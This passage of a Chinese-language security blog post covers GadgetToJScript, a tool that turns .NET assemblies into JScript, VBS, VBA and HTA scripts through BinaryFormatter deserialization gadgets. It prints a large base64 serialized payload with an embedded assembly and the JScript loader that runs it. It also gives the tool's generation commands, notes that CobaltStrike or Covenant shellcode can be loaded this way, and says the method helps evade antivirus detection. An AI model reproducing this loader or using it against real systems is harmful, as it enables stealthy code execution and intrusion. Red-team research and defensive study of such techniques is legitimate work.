class="string">"AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0CgAAABZEYXRhU2V0LlJlbW90aW5nRm9ybWF0E0RhdGFTZXQuRGF0YVNldE5hbWURRGF0YVNldC5OYW1lc3BhY2UORGF0YVNldC5QcmVmaXgVRGF0YVNldC5DYXNlU2Vuc2l0aXZlEkRhdGFTZXQuTG9jYWxlTENJRBpEYXRhU2V0LkVuZm9yY2VDb25zdHJhaW50cxpEYXRhU2V0LkV4dGVuZGVkUHJvcGVydGllcxREYXRhU2V0LlRhYmxlcy5Db3VudBBEYXRhU2V0LlRhYmxlc18wBAEBAQAAAAIABx9TeXN0ZW0uRGF0YS5TZXJpYWxpemF0aW9uRm9ybWF0AgAAAAEIAQgCAgAAAAX9////H1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQBAAAAB3ZhbHVlX18ACAIAAAABAAAABgQAAAAACQQAAAAJBAAAAAAJBAAAAAoBAAAACQUAAAAPBQAAAIEhAAACAAEAAAD/////AQAAAAAAAAAEAQAAAH9TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAABwAAAAcAAAAQAgAAAAgAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAoMCgAAAGFTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQMAAABqU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLlNlcmlhbGl6YXRpb24uQWN0aXZpdHlTdXJyb2dhdGVTZWxlY3RvcitPYmplY3RTdXJyb2dhdGUrT2JqZWN0U2VyaWFsaXplZFJlZgIAAAAEdHlwZQttZW1iZXJEYXRhcwMFH1N5c3RlbS5Vbml0eVNlcmlhbGl6YXRpb25Ib2xkZXIKAAAACQsAAAAJDAAAAAEEAAAAAwAAAAkNAAAACQ4AAAABBQAAAAMAAAAJDwAAAAkQAAAAAQYAAAADAAAACREAAAAJEgAAAAEHAAAAAwAAAAkTAAAACRQAAAABCAAAAAMAAAAJFQAAAAkWAAAABAkAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJvdmlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21wYXJlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJFwAAAAkYAAAABAsAAAAfU3lzdGVtLlVuaXR5U2VyaWFsaXphdGlvbkhvbGRlcgMAAAAERGF0YQlVbml0eVR5cGUMQXNzZW1ibHlOYW1lAQABCAYZAAAA+AFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0TGlzdEl0ZXJhdG9yYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAGGgAAAE5TeXN0ZW0uQ29yZSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQDAAAAAcAAAAJGwAAAAoJHAAAAAkdAAAACAgAAAAACggIAQAAAAENAAAACwAAAAYeAAAA+AFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlKzxTZWxlY3RNYW55SXRlcmF0b3I+ZF9fMTdgMltbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJGgAAABAOAAAACQAAAAgI/v///woICAEAAAAKCQMAAAAKCSEAAAANAgEPAAAACwAAAAYiAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAJGgAAABAQAAAABwAAAAkEAAAACgklAAAACggIAAAAAAoICAEAAAABEQAAAAsAAAAGJgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvdXJjZQQAAAAGJwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYRASAAAABwAAAAkFAAAACAgAAAAACAgKAAAACAEACAEACAEACAgAAAAAARMAAAALAAAABikAAAApU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAABioAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAUAAAABQAAAA0CCSsAAAAICAMAAAAJCAAAAAEVAAAACwAAAAYtAAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5nLkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABi4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EBYAAAABAAAACQYAAAAQFwAAAAIAAAAJBwAAAAkHAAAAEBgAAAACAAAABjEAAAACdjIGMgAAAAJ2MQQbAAAAf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgMAAA9TeXN0ZW0uQnl0ZVtdW10ICAkzAAAAAQAAAAEAAAAEHAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCTQAAAAJNQAAAAQdAAAAigFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDErRW51bWVyYXRvcltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAABGxpc3QFaW5kZXgHdmVyc2lvbgdjdXJyZW50AwAAB39TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCAgCCgAAAAAAAAAACgEhAAAAHAAAAAk2AAAACTcAAAABJQAAABwAAAAJOAAAAAk5AAAAASsAAAADAAAACToAAAAJOwAAAAczAAAAAQEAAAAEAAAABwIJPAAAAAoKCgQ0AAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5Bj0AAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkuAAAACgkuAAAABj8AAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHkGQAAAAARMb2FkCgQ1AAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQlAAAAACS4AAAAJPwAAAAZDAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQZEAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAAACgE2AAAANAAAAAZFAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkuAAAACgkuAAAACT8AAAAGSAAAAAhHZXRUeXBlcwoBNwAAADUAAAAJSAAAAAkuAAAACT8AAAAGSwAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkGTAAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkIAAAACgE4AAAANAAAAAZNAAAAxgFTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JLgAAAAoJLgAAAAZPAAAAEFN5c3RlbS5BY3RpdmF0b3IGUAAAAA5DcmVhdGVJbnN0YW5jZQoBOQAAADUAAAAJUAAAAAkuAAAACU8AAAAGUwAAAClTeXN0ZW0uT2JqZWN0IENyZWF0ZUluc3RhbmNlKFN5c3RlbS5UeXBlKQZUAAAAKVN5c3RlbS5PYmplY3QgQ3JlYXRlSW5zdGFuY2UoU3lzdGVtLlR5cGUpCAAAAAoBOgAAAAsAAAAGVQAAACZTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduLkNvbW1hbmRJRAQAAAAJKgAAABA7AAAAAgAAAAlXAAAACAgAIAAADzwAAAAADgAAAk1akAAD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"</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> shell = <span class="keyword">new</span> ActiveXObject(<span class="string">'WScript.Shell'</span>);</span><br><span class="line">ver = <span class="string">'v4.0.30319'</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line">shell.RegRead(<span class="string">'HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\'</span>);</span><br><span class="line">} <span class="keyword">catch</span>(e) { </span><br><span class="line">ver = <span class="string">'v2.0.50727'</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">shell.Environment(<span class="string">'Process'</span>)(<span class="string">'COMPLUS_Version'</span>) = ver;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> ms_1 = Base64ToStream(stage_1, <span class="number">2341</span>);</span><br><span class="line"><span class="keyword">var</span> fmt_1 = <span class="keyword">new</span> ActiveXObject(<span class="string">'System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'</span>);</span><br><span class="line">fmt_1.Deserialize_2(ms_1);</span><br><span class="line"></span><br><span class="line">} <span class="keyword">catch</span> (e) {</span><br><span class="line"><span class="keyword">try</span>{</span><br><span class="line"><span class="keyword">var</span> ms_2 = Base64ToStream(stage_2, <span class="number">9073</span>);</span><br><span class="line"><span class="keyword">var</span> fmt_2 = <span class="keyword">new</span> ActiveXObject(<span class="string">'System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'</span>);</span><br><span class="line">fmt_2.Deserialize_2(ms_2);</span><br><span class="line"></span><br><span class="line">}<span class="keyword">catch</span> (e2){}</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>可以发现他同样是调用了<code>System.Runtime.Serialization</code>,通过对两个var的反序列化操作,从而执行</p><h4 id="ToVBS-1"><a href="#ToVBS-1" class="headerlink" title="ToVBS"></a>ToVBS</h4><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GadgetToJScript.exe -w vbs -e b64 -o test</span><br></pre></td></tr></table></figure><p><img src="/DotNetToJScript && GadgetToJScript.resources/BE486433-85F9-448D-BEBD-EBFA9A50436B.png" alt="a1155707ec2d37a33a56419d88f7d42c"></p><h4 id="ToVBA-1"><a href="#ToVBA-1" class="headerlink" title="ToVBA"></a>ToVBA</h4><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GadgetToJScript.exe -w vba -e b64 -o test</span><br></pre></td></tr></table></figure><p><img src="/DotNetToJScript && GadgetToJScript.resources/69BE87FE-3C56-4E0B-9810-56D228DE9416.png" alt="b743bbeda5efe5d671d80d37b608f8ae"></p><h4 id="ToHta"><a href="#ToHta" class="headerlink" title="ToHta"></a>ToHta</h4><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GadgetToJScript.exe -w hta -e b64 -o test</span><br></pre></td></tr></table></figure><p><img src="/DotNetToJScript && GadgetToJScript.resources/F4D5151C-9BB1-431F-8433-45EC5FA4B541.png" alt="3d4f965a8df23a1587cb482314bbe890"></p><h4 id="With-CobaltStrike-Covenant"><a href="#With-CobaltStrike-Covenant" class="headerlink" title="With CobaltStrike/Covenant"></a>With CobaltStrike/Covenant</h4><p>利用cs产生的shellcode进行加载<br><img src="/DotNetToJScript && GadgetToJScript.resources/5693697E-4B11-4863-9EC1-B9BA33C9C584.png" alt="ad6e9841f325ef8cfe1017e805955d0b"></p><p>当然,需要修改一下程序获取cs代码的地方<br><img src="/DotNetToJScript && GadgetToJScript.resources/691764A8-EAAB-4B38-A1A0-1BEB55D3D4F4.png" alt="3a0df07cf0611417e3d2e7992c01fffa"></p><p>这也是三好学生师傅的方法,同样的,也可以自定义一个参数进行输入。</p><p>Covenant提供了Binary的源代码,也可以直接加载<br><img src="/DotNetToJScript && GadgetToJScript.resources/C0170DB0-C8E9-4BF2-9DFA-2B120B6FD4B3.png" alt="2b76ba5f5c1668f3746da3fd7bf9a777"></p><h3 id="Analyse-1"><a href="#Analyse-1" class="headerlink" title="Analyse"></a>Analyse</h3><p>首先,<code>GadgetToJScript</code>相比于<code>DotNetToJScript</code>来说,在反序列化的时候不需要调用<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DynamicInvoke(al.ToArray()).CreateInstance(CLASS)</span><br></pre></td></tr></table></figure></p><p>可以规避一些杀软的检测。再者,更适合进行二次开发,这点之前<code>RedCore@Moriarty</code>师傅已经演示过针对GadgetToJScript的二次开发,以及深度使用了。</p><p>和之前一样,GadgetToJScript也是通过模版进行转换<br><img src="/DotNetToJScript && GadgetToJScript.resources/28D65DAE-70F0-4D05-BF03-158507C27264.png" alt="ead4d3d00d81660fa06730d31b6f1cab"></p><p>提供了4种脚本类型和2种编码<br><img src="/DotNetToJScript && GadgetToJScript.resources/945108D9-6949-4D05-BD09-61967B79FC42.png" alt="7e1173be4991970ea94100facd3a6e76"></p><p>根据<code>_wsh</code>选取对应模版<br><img src="/DotNetToJScript && GadgetToJScript.resources/7E7B6643-A665-4707-AFDA-D346015D179F.png" alt="2b3316a440cd16aed3f3d6a2c8c6c501"></p><p>后面就是针对具体类型的一些替换变量<br><img src="/DotNetToJScript && GadgetToJScript.resources/7E2C3CDF-7C60-45CD-A70E-7A2832AED6D1.png" alt="13a71f77aa239c5765a1f25e96179362"></p><p><img src="/DotNetToJScript && GadgetToJScript.resources/902E2F50-75B6-46D7-9EDF-0205DA84D9BF.png" alt="566b609db0474315721205518e7e4e93"></p><p>实现的逻辑:</p><p><img src="/DotNetToJScript && GadgetToJScript.resources/605EE971-D504-4731-B4BA-C4B8BDF63713.png" alt="eb724db565d3c8255c3d8b9ade179acd"><br><img src="/DotNetToJScript && GadgetToJScript.resources/E1B60502-6989-4F0A-A338-404B8A8E71FD.png" alt="ca72a4112bd087f4b4c3727c6b5c37d7"></p><p><img src="/DotNetToJScript && GadgetToJScript.resources/4ACCE8DB-7A46-4B23-9F58-F172EC493CC0.png" alt="92445e4789f52d1fd55064d67a20423c"></p><p><img src="/DotNetToJScript && GadgetToJScript.resources/A1092ACD-30F9-4844-9E4A-A56F118039C0.png" alt="4a811eba7e0f586e9c45951578db8053"></p><p>再后来就是直接替换数据,生成目标文件</p><h2 id="0x03-Links🔗"><a 